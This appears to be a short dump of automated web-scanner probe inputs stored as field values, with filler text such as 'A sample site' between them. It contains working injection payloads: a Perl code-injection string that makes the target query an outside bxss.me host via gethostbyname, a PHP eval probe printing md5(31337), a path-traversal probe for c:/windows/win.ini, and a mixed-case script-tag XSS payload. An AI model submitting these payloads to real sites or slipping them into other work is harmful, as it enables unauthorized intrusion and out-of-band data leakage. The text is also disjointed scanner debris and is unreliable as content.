".gethostbyname(lc("hitle"."rukxjrts2cb1a.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(88).chr(103).chr(72)."
555
A sample site
The amazing payoff goes here
555
${@print(md5(31337))}
555
c:/windows/win.ini
555'"()&%<acx><ScRiPt >kbQt(9817)</ScRiPt>
555